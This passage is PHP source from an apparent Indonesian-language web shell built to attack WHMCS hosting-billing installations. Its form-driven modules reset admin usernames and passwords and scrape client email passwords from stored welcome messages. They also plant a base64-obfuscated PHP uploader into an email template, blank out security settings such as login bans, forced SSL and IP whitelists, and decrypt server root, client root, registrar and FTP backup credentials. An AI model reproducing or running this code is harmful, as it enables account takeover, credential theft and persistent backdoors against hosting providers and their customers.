<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
DB PASSWORD<br/>
<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
<hr style='color:lime;'>

TARGET PREFIX<br/>
<input style='color:lime;background-color:#000000' type=txt name=prefix size='20'><br/> 
NEW ADMIN LOGIN USER<br/>
<input value=admin style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
NEW ADMIN LOGIN PASS<br/>
<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
 
<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";

$anu1 = $_POST['anu1'];
$anu2 = $_POST['anu2'];
$anu3 = $_POST['anu3'];
$anu4 = $_POST['anu4'];
@mysql_connect($anu1,$anu3,$anu4);
@mysql_select_db($anu2);
 
$userbaru=str_replace("\'","'",$userbaru);
$ganti_user = $_POST['userbaru'];
$passbaru=str_replace("\'","'",$passbaru);
$hash_pass = $_POST['passbaru'];
$ganti_pass = md5($hash_pass);

$prefix = $_POST['prefix'];
$table_name1 = $prefix."users" ;
$table_name2 = $prefix."authors" ;

$okenuke1 = "UPDATE $table_name1 SET username ='".$ganti_user."' WHERE user_id ='2'";
$okenuke2 = "UPDATE $table_name1 SET user_password ='".$ganti_pass."' WHERE user_id ='2'";
$okenuke3= "UPDATE $table_name2 SET aid ='".$ganti_user."' WHERE radminsuper ='1'";
$okenuke4 = "UPDATE $table_name2 SET pwd ='".$ganti_pass."' WHERE radminsuper ='1'"; 

$oke=@mysql_query($okenuke1);
$oke=@mysql_query($okenuke2);
$oke=@mysql_query($okenuke3);
$oke=@mysql_query($okenuke4); 
if($oke)
{
echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
} 
}

# x=dmwhmcs9
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs9')) {
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=dmwhmcs9" method="post">
 
 <p><br/><body>
<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ CHECK WHMCS</span> <span class="b8">LICENSE & VERSION ]:=O</span></b></nobr><br/><br/>
<p><form method="post">
<table border=1>
<tr><td>Hosting Site </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" value="http://" name="url"></td></tr>
<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr></table>
<br></form></center>
 
<?php
@error_reporting(0);
@ini_set('log_errors',0); 
@ini_set('error_log',NULL); 
if(isset($_POST['plapon'])){
$target = $_POST['url'];
$bukadikitjoss = fopen("$target/?licensedebug","r");
$hasil = '';
while (!feof($bukadikitjoss)) {
$hasil .= fread($bukadikitjoss, 8192);
}
echo "<center><textarea style='color:#FF0000;background-color:#000000' cols='40' rows='15'>$hasil</textarea>";
}
echo "</table>";
}

 # x=dmwhmcs1
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs1')) {
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=dmwhmcs1" method="post">

<p><br/><body>
<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ GRAB PASSWORD</span> <span class="b8">CLIENT HOSTING ]:=O</span></b></nobr><br/><br/>
<p><form method="post">
<table border=1>
<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
 
</table>
<br></form></center>

<?php
if(isset($_POST['plapon'])) {
 
$perawan = $_POST['anu1'];
$kimcil = $_POST['anu2'];
$janda = $_POST['anu3'];
$hotel = $_POST['anu4'];
function get_string_between($string, $start, $end){
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}
@mysql_connect($perawan,$kimcil,$janda);
@mysql_select_db($hotel) or die ("Gagal Koneksi Ke Database");
$query="select subject,message from tblemails";
$result=mysql_query($query);
mysql_close();
$num=mysql_numrows($result);
$i=0;
while ($i < $num) {
$css =mysql_result($result,$i,"subject");echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr><tr> 
<th align='center'><b>CLIENT EMAIL</b></th>
<th align='center'><b>CLIENT PASSWORD</b></th>
</tr>";
 

if(stristr($css,"Welcome")){
$s =mysql_result($result,$i,"message");
if(stristr($s,"Login Username: ") or stristr($s,"Email Address: ")){
$mail= get_string_between($s,"Login Username: ","<br />");
$m2 = get_string_between($s,"Email Address: ","<br />");
$pass = get_string_between($s,"Password: ","</p>");
print $mail.$m2.":".$pass."<br>";
 
echo "<tr>
<td align='center'>$mail.$m2.</td>
<td align='center'>".$pass."</td>
</tr>";
}
}
++$i;
}
}  
echo "</table>";
}

# x=dmwhmcs3
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs3')) {
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=dmwhmcs3" method="post"> 
 <p><br/><body>
<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ PASSWORD</span> <span class="b8">CHANGER ]:=O</span></b></nobr><br/><br/>
<p><form method="post">
<table border=1>
<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
<tr><td>id_admin</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="1" name="idmaho"></td></tr>
<tr><td>new_username</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hacker" name="userbaru"></td></tr>
<tr><td>new_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" value="hackerpassword" name="passbaru"></td></tr>
 
<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
</table>
<br>
</form>
</center>

<?php
if(isset($_POST['plapon'])) {
$anu1 = $_POST['anu1'];
$anu2 = $_POST['anu2'];
$anu3 = $_POST['anu3'];
$anu4 = $_POST['anu4'];
@mysql_connect($anu1,$anu2,$anu3);
@mysql_select_db($anu4);
 
$idmaho=str_replace("\'","'",$idmaho);
$target_id = $_POST['idmaho'];
$userbaru=str_replace("\'","'",$userbaru);
$ganti_user = $_POST['userbaru'];
$passbaru=str_replace("\'","'",$passbaru);
 
$hash_pass = $_POST['passbaru'];
$ganti_pass = md5($hash_pass); 
 
$colox = "UPDATE tbladmins SET username ='".$ganti_user."' WHERE id ='".$target_id."'";
$coloxx = "UPDATE tbladmins SET password ='".$ganti_pass."' WHERE id ='".$target_id."'"; 
 
$udah_ganteng=@mysql_query($colox);
$udah_ganteng=@mysql_query($coloxx); 
if($udah_ganteng)
{
echo "<font color='lime'>SUKSES BOS  GANTENG :P</font>";
}
}
 
}


# x=dmwhmcs2
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs2')) {
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=dmwhmcs2" method="post"> 
 <p><br/><body>
<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ INJECT </span> <span class="b8">SHELL ]:=O</span></b></nobr><br/><br/>
<p><form method="post">
<table border=1>
<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu1" value="localhost"></td></tr>
<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu2"></td></tr>
<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu3"></td></tr>
<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="80" name="anu4"></td></tr>
<tr><td align="center" colspan="2"> <textarea style='color:red;background-color:#000000' rows='10' cols='67'
name=shell>{php}eval(base64_decode('JGMwZGUgID0gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhVRHM4Y0NCaGJHbG5iajBpWTJWdWRHVnlJajROQ2cwS1BEOXdhSEFOQ21WeWNtOXlYM0psY0c5eWRHbHVaeWd3S1RzTkNpUnpZM0pwY0hSdVlXMWxJRDBnSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPUVUxRkoxMDdEUW9rWm1sc1pXNWhiV1VnUFNBa1gxQlBVMVJiSW1acGJHVnVZVzFsSWwwN0RRcHBaaWdrWDFCUFUxUmJJbk4xWW0xcGRDSmRJRDA5SUNKUGNHVnVJaWtOQ25zTkNtbG1LR1pwYkdWZlpYaHBjM1J6S0NSbWFXeGxibUZ0WlNrcERRcDdEUW9rWm1sc1pXTnZiblJsYm5SeklEMGdhSFJ0YkdWdWRHbDBhV1Z6S0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSbWFXeGxibUZ0WlNrcE93MEthV1lvSVNSbWFXeGxZMjl1ZEdWdWRITXBEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrUlhKeWIzSWdUbTkwYUdsdVp5QkdhV3hsUEM5bWIyNTBQaUk3RFFwOURRcGxiSE5sRFFva2MzUmhkSFZ6SUQwZ0lqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1JtbHNaU0JrYjJWeklHNXZkQ0JsZUdsemRDRThMMlp2Ym5RK0lqc05DbjBKQ1EwS1pXeHpaU0JwWmlna1gxQlBVMVJiSW5OMVltMXBkQ0pkSUQwOUlDSkVaV3hsZEdVaUtRMEtldzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25zTkNtbG1LSFZ1YkdsdWF5Z2tabWxzWlc1aGJXVXBLUWtOQ2lSemRHRjBkWE1nUFNBaVBHWnZiblFnWm1GalpUMG5WbVZ5WkdGdVlTY2djM1I1YkdVOUoyWnZiblF0YzJsNlpUb2dPSEIwSno1R2FXeGxJSE4xWTJObGMzTm1kV3hzZVNCa1pXeGxkR1ZrSVR3dlptOXVkRDRpT3cwS1pXeHpaUTBLSkhOMFlYUjFjeUE5SUNJOFptOXVkQ0JtWVdObFBTZFdaWEprWVc1aEp5QnpkSGxzWlQwblptOXVkQzF6YVhwbE9pQTRjSFFuUGtOdmRXeGtJRzV2ZENCa1pXeGxkR1VnWm1sc1pTRThMMlp2Ym5RK0lqc05DbjBOQ21Wc2MyVU5DaVJ6ZEdGMGRYTWdQU0FpUEdadmJuUWdabUZqWlQwblZtVnlaR0Z1WVNjZ2MzUjViR1U5SjJadmJuUXRjMmw2WlRvZ09IQjBKejVHYVd4bElHUnZaWE1nYm05MElHVjRhWE4wSVR3dlptOXVkRDRpT3cwS2ZRMEtaV3h6WlNCcFppZ2tYMUJQVTFSYkluTjFZbTFwZENKZElEMDlJQ0pUWVhabElpa05DbnNOQ2lSbWFXeGxZMjl1ZEdWdWRITWdQU0J6ZEhKcGNITnNZWE5vWlhNb2FIUnRiRjlsYm5ScGRIbGZaR1ZqYjJSbEtDUmZVRTlUVkZzaVkyOXVkR1Z1ZEhNaVhTa3BPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR1pwYkdWdVlXMWxLU2tOQ25WdWJHbHVheWdrWm1sc1pXNWhiV1VwT3cwS0pHaGhibVJzWlNBOUlHWnZjR1Z1S0NSbWFXeGxibUZ0WlN3Z0luY2lLVHNOQ21sbUtDRWthR0Z1Wkd4bEtRMEtKSE4wWVhSMWN5QTlJQ0k4Wm05dWRDQm1ZV05sUFNkV1pYSmtZVzVoSnlCemRIbHNaVDBuWm05dWRDMXphWHBsT2lBNGNIUW5Qa052ZFd4a0lHNXZkQ0J2Y0dWdUlHWnBiR1VnWm05eUlIZHlhWFJsSUdGalkyVnpjeUVnUEM5bWIyNTBQaUk3RFFwbGJITmxEUXA3RFFwcFppZ2habmR5YVhSbEtDUm9ZVzVrYkdVc0lDUm1hV3hsWTI5dWRHVnVkSE1wS1EwS0pITjBZWFIxY3lBOUlDUnpkR0YwZFhNdUlqeG1iMjUwSUdaaFkyVTlKMVpsY21SaGJtRW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZENjK1EyOTFiR1FnYm05MElIZHlhWFJsSUhSdklHWnBiR1VoSUNoTllYbGlaU0I1YjNVZ1pHbGtiaWQwSUdWdWRHVnlJR0Z1ZVNCMFpYaDBQeWs4TDJadmJuUStJanNOQ21aamJHOXpaU2drYUdGdVpHeGxLVHNOQ24wTkNpUm1hV3hsWTI5dWRHVnVkSE1nUFNCb2RHMXNaVzUwYVhScFpYTW9KR1pwYkdWamIyNTBaVzUwY3lrN0RRcDlEUXBsYkhObERRcDdEUW9rYzNSaGRIVnpJRDBnSWp4bWIyNTBJR1poWTJVOUoxWmxjbVJoYm1FbklITjBlV3hsUFNkbWIyNTBMWE5wZW1VNklEaHdkQ2MrVG04Z1ptbHNaU0JzYjJGa1pXUWhQQzltYjI1MFBpSTdEUXA5RFFvL1BnMEtQSFJoWW14bElHSnZjbVJsY2owaU1DSWdZV3hwWjI0OUltTmxiblJsY2lJK1BIUnlQangwWkQ0OGRHRmliR1VnZDJsa2RHZzlJakV3TUNVaUlHSnZjbVJsY2owaU1DSStQSFJ5UGp4MFpENE5DanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0lnWVdOMGFXOXVQU0k4UDBWamFHOGdKSE5qY21sd2RHNWhiV1U3UHo0aVBnMEtQR2x1Y0hWMElITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2JtRnRaVDBpWm1sc1pXNWhiV1VpSUhSNWNHVTlJblJsZUhRaUlIWmhiSFZsUFNJOFAwVmphRzhnSkdacGJHVnVZVzFsT3o4K0lpQnphWHBsUFNJM01pSStEUW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCemRIbHNaVDBpWTI5c2IzSTZiR2x0WlR0aVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd01EQXdNREFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrOXdaVzRpUGcwS1BHbHVjSFYwSUhSNWNHVTlJbk4xWW0xcGRDSWdjM1I1YkdVOUltTnZiRzl5T214cGJXVTdZbUZqYTJkeWIzVnVaQzFqYjJ4dmNqb2pNREF3TURBd0lpQnVZVzFsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pFWld4bGRHVWlQand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQZzBLUEdadmJuUWdabUZqWlQwaVZtVnlaR0Z1WVNJZ2MzUjViR1U5SW1admJuUXRjMmw2WlRvZ01URndkQ0krRFFvOGRHVjRkR0Z5WldFZ2JtRnRaVDBpWTI5dWRHVnVkSE1pSUhOMGVXeGxQU0pqYjJ4dmNqcHNhVzFsTzJKaFkydG5jbTkxYm1RdFkyOXNiM0k2SXpBd01EQXdNQ0lnWTI5c2N6MGlOekFpSUhKdmQzTTlJakkxSWo0TkNqdy9SV05vYnlBa1ptbHNaV052Ym5SbGJuUnpPejgrUEM5MFpYaDBZWEpsWVQ0OEwyWnZiblErUEdKeVBnMEtQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKVFlYWmxJajROQ2p4cGJuQjFkQ0IwZVhCbFBTSnlaWE5sZENJZ2MzUjViR1U5SW1OdmJHOXlPbXhwYldVN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1EQXdNREF3SWlCMllXeDFaVDBpVW1WelpYUWlQZzBLUEM5bWIzSnRQZzBLUEhBK0RRbzhhRE0rWDFWUVRFOUJSQ0JHU1V4Rlh6eG9NejROQ2cwS1BEOXdhSEFOQ2cwS1pXTm9ieUFuUEdadmNtMGdZV04wYVc5dVBTSWlJRzFsZEdodlpEMGljRzl6ZENJZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdibUZ0WlQwaWRYQnNiMkZrWlhJaUlHbGtQU0oxY0d4dllXUmxjaUkrSnpzTkNnMEtaV05vYnlBblVFRlVTQ0JVUVZKSFJWUWdPaUE4YVc1d2RYUWdibUZ0WlQwaWRYQnNiMkZrZEc4aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU5UQWlJSFpoYkhWbFBTSW5MbWRsZEdOM1pDZ3BMaWNpUGp4aWNpQXZQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYzNSNWJHVTlJbU52Ykc5eU9teHBiV1U3WW1GamEyZHliM1Z1WkMxamIyeHZjam9qTURBd01EQXdJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0l6TUNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlITjBlV3hsUFNKamIyeHZjanBzYVcxbE8ySmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QXdNREF3TUNJZ2RIbHdaVDBpYzNWaWJXbDBJaUJwWkQwaVgzVndiQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdEUXBwWmlnZ0pGOVFUMU5VV3lkZmRYQnNKMTBnUFQwZ0lsVndiRzloWkNJZ0tTQjdEUXBwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRtYVd4bEoxMWJKM1J0Y0Y5dVlXMWxKMTBzSUNSZlVFOVRWRnNuZFhCc2IyRmtkRzhuWFM0bkx5Y3VKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdEUW9OQ21WamFHOGdKenhtYjI1MElHTnZiRzl5UFNKc2FXMWxJajViSzEwZ1ZYQnNiMkZrSUZOMWEzTmxjeUE2ZGlBOFluSXZQaUJiSzEwZ0p5NGtYMUJQVTFSYkozVndiRzloWkhSdkoxMHVJaThpTGlSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRPdzBLZlNCbGJITmxJSHNOQ21WamFHOGdKMXQrWFNCVmNHeHZZV1FnUm1GcGJHVmtJRlJmVkNCYmZsMDhMMlp2Ym5RK1BHSnlQaWM3RFFwOUlIME5DajgrRFFvPScpOw0KDQokZm9wZW4gPSBmb3BlbiAoJ2RtLnBocCcsJ3cnKTsNCiR3cml0ZSAgPSBmd3JpdGUoJGZvcGVuICwgJGMwZGUpOw=='));{/php}</textarea> 
</td></tr> 
<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
</table>
<br>
</form>
</center>
<?php
if(isset($_POST['plapon'])) {
$anu1 = $_POST['anu1'];
$anu2 = $_POST['anu2'];
$anu3 = $_POST['anu3'];
$anu4 = $_POST['anu4'];
@mysql_connect($anu1,$anu2,$anu3);
@mysql_select_db($anu4);
$shell=str_replace("'","'",$shell);
$gosok_shell = $_POST['shell'];
$colok = "UPDATE tblemailtemplates SET message ='".$gosok_shell."' WHERE subject ='Welcome'";
$udah_ganteng=@mysql_query($colok);if($udah_ganteng)
{
echo "<font color='lime'>SUKSES BOS  GANTENG :P</font>";
}
}
} 
 

# x=dmwhmcs4
elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs4')) {
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=dmwhmcs4" method="post">
<p><br/><body>
<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ BYPASS </span> <span class="b8">TOKEN ]:=O</span></b></nobr><br/><br/>
<p><form method="post">
<table border=1>
<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
</table>
<br>
</FORM>
</center>
<?php
if(isset($_POST['plapon'])) {
 
$anu1 = $_POST['anu1'];
$anu2 = $_POST['anu2'];
$anu3 = $_POST['anu3'];
$anu4 = $_POST['anu4'];
@mysql_connect($anu1,$anu2,$anu3);
@mysql_select_db($anu4);
 
$crot1 = "UPDATE tblconfiguration SET value='' WHERE setting='InvalidLoginBanLength'";
$crot2 = "UPDATE tblconfiguration SET value='' WHERE setting='AdminForceSSL'";
$crot3 = "UPDATE tblconfiguration SET value='' WHERE setting='RequiredPWStrength'";
$crot4 = "UPDATE tblconfiguration SET value='' WHERE setting='MaintenanceMode'";
$crot5 = "UPDATE tblconfiguration SET value='' WHERE setting='APIAllowedIPs'";
$crot6 = "UPDATE tblconfiguration SET value='' WHERE setting='LoginFailures'";
$crot7 = "UPDATE tblconfiguration SET value='' WHERE setting='InstanceID'";
$crot8 = "UPDATE tblconfiguration SET value='' WHERE setting='WhitelistedIPs'";
$crot9 = "UPDATE tblconfiguration SET value='' WHERE setting='ToggleInfoPopup'";$crot10 = "UPDATE tblconfiguration SET value='' WHERE setting='token_namespaces'";

$udah_ganteng=@mysql_query($crot1);
$udah_ganteng=@mysql_query($crot2);
$udah_ganteng=@mysql_query($crot3);
$udah_ganteng=@mysql_query($crot4);
$udah_ganteng=@mysql_query($crot5);
$udah_ganteng=@mysql_query($crot6);
$udah_ganteng=@mysql_query($crot7);
$udah_ganteng=@mysql_query($crot8);
$udah_ganteng=@mysql_query($crot9);
$udah_ganteng=@mysql_query($crot10); 
 
if($udah_ganteng)
{
echo "<font color='lime'>SUKSES BOS  GANTENG :P</font>";
}
}
} 


# x=whmcs1
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs1')) {
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=whmcs1" method="post">

<p><br/><body>
<center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"> <br/><br/><nobr><b><span class="b7">O=:[ WHMCS</span> <span class="b8">DECODER ]:=O</span></b></nobr><br/><br/>
<p><form method="post">
<table border=1>
<tr><td>db_host </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu1" value="localhost"></td></tr>
<tr><td>db_username </td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu2"></td></tr>
<tr><td>db_password</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu3"></td></tr>
<tr><td>db_name</td><td><input type="text" style="color:#FF0000;background-color:#000000" size="60" name="anu4"></td></tr>
<tr><td>cc_encryption_hash</td><td><input style="color:#FF0000;background-color:#000000" type="text" size="60" name="anu5"></td></tr>
<tr><td align="center" colspan="2"><input class=submit type="submit" style="color:#FF0000;background-color:#000000" value=" HAJAR BOS " name="plapon"></td></tr>
 
</table>
<br></form></center>

<?php
$perawan = $_POST['anu1'];
$kimcil = $_POST['anu2'];
$janda = $_POST['anu3'];
$hotel = $_POST['anu4'];
$kondom = $_POST['anu5'];
 
@mysql_connect($perawan,$kimcil,$janda);
@mysql_select_db($hotel);
$cc_encryption_hash = $kondom;

function dec($string,$cc_encryption_hash){
$key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
$hash_key = _hash($key);
    
$hash_length = strlen($hash_key);
$string = base64_decode($string);
$tmp_iv = substr($string,0,$hash_length);
$string = substr($string,$hash_length,strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length){
$iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
++$c;
}

$key = $iv;
$c = 0;
while ($c < strlen($string)){
if (($c != 0 AND $c % $hash_length == 0)){
            
$key = _hash($key . substr($out,$c - $hash_length,$hash_length));
}
$out .= chr(ord($key[$c % $hash_length]) ^ ord ($string[$c]));
 ++$c;
}
    return $out;
}
function _hash($string)
{
$hash = (function_exists('sha1')) ? sha1($string):md5($string);
$out = '';
$c = 0;

while ($c < strlen($hash)){
$out .= chr(hexdec($hash[$c] .$hash[$c + 1]));
$c += 2;
}
return $out;
}

########  GO TO HELL ######## 
##### :D ########### :D #####

if(isset($_POST['plapon'])) {
$query = mysql_query("SELECT *FROM tblservers");
echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='7'> <span class='b7'>O=:[ HOST ROOT ]:=O</span> </th></tr> 
 
<tr> 
<th align='center'><b>TYPE</b></th>
<th align='center'><b>ACTIVE</b></th>
<th align='center'><b>HOSTNAME</b></th>
<th align='center'><b>IP ADDRESS</b></th>
<th align='center'><b>USERNAME</b></th>
<th align='center'><b>PASSWORD</b></th>
<th align='center'><b>ACCESS HASH</b></th></tr>";
if(!is_array(mysql_fetch_array($query))){
echo "<tr><td colspan='8' align='center'>Nothing Found !</td></tr>";
}        
while($v = mysql_fetch_array($query)) {
echo "<tr>
<td align='center'>{$v['type']}</td>
<td align='center'>{$v['active']}</td> 
<td align='center'>{$v['hostname']}</td>
<td align='center'>{$v['ipaddress']}</td>
<td align='center'>{$v['username']}</td>
<td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
<td align='center'>{$v['accesshash']}</td> 
</tr>";
}
echo "</table>";


$query = mysql_query("SELECT * FROM tblhosting where username = 'root' or username = 'vmuserxx' or username = 'vmuser' or username = 'admin' or username = 'Admin' or username = 'administrator' or username = 'Administrator' order by domainstatus");
echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='6'><span class='b7'>O=:[ CLIENTS ROOT ]:=O</span> </th></tr> 
 
<tr>
<th align='center'><b> DOMAIN</b></th>
<th align='center'><b> STATUS</b></th>
<th align='center'><b> USERNAME</b></th>
<th align='center'><b> PASSWORD</b></th>
<th align='center'><b> DEDICATED IP</b></th>
<th align='center'><b> ASSIGNED IP</b></th></tr>";

if(!is_array(mysql_fetch_array($query))){
echo "<tr><td colspan='6' align='center'>Nothing Found ! :(</td></tr>";
} 
while($v = mysql_fetch_array($query)){
echo "<tr>
<td align='center'> {$v['domain']}</td>
<td align='center'> {$v['domainstatus']}</td>
<td align='center'> {$v['username']}</td>
<td align='center'> ".dec($v['password'],$cc_encryption_hash)."</td>
<td align='center'> {$v['dedicatedip']}</td>
<td align='center'> {$v['assignedips']}</td></tr>";
}
echo "</table>";
 
$query = mysql_query("SELECT *FROM tblregistrars");
echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='3'><nobr><span class='b7'>O=:[ DOMAIN REGISTRAR ]:=O</span></nobr></th></tr> 
<tr>
<th align='center'><b>REGISTRAR</b></th>
<th align='center'><b>SETTING</b></th>
<th align='center'><b>VALUE</b></th></tr>";
if(!is_array(mysql_fetch_array($query))){
echo "<tr><td colspan='3' align='center'>Nothing Found !</td></tr>";
} 
while($v = mysql_fetch_array($query)){
$value = (!dec($v['value'],$cc_encryption_hash)) ? "0":dec($v['value'],$cc_encryption_hash);
echo "<tr>
<td align='center'>{$v['registrar']}</td>
<td align='center'>{$v['setting']}</td>
<td align='center'>$value</td></tr>" ;
}
echo "</table>"; 

$query = mysql_query("SELECT * FROM tblconfiguration where 1");
echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='4'> <span class='b7'>O=:[ FTP BACKUP ]:=O</span> </th></tr> 
 
<tr> 
<th align='center'><b>FTP HOSTNAME</b></th>
<th align='center'><b>FTP USERNAME</b></th>
<th align='center'><b>FTP PASSWORD</b></th>
<th align='center'><b>DESTINATION</b></th></tr>"; 
$ftpb = array('FTPBackupHostname',
'FTPBackupUsername',
'FTPBackupPassword',
'FTPBackupDestination');
if(!is_array(mysql_fetch_array($query))){
echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
} 
while($row = mysql_fetch_array($query)){
if($row[setting] == $ftpb[0]){
echo "<tr><td>{$row[value]}</td>";  
$ftpb[0] = xxx;
}
elseif($row[setting] == $ftpb[1]){
echo "<td>{$row[value]}</td>";  
$ftpb[1] = xxx;
}
elseif($row[setting] == $ftpb[2]){
echo "<td>{$row[value]}</td>";  
$ftpb[2] = xxx;
}
elseif($row[setting] == $ftpb[3]){
echo "<td>{$row[value]}</td>";  
$ftpb[3] = xxx;
}
}
echo "</table>"; 

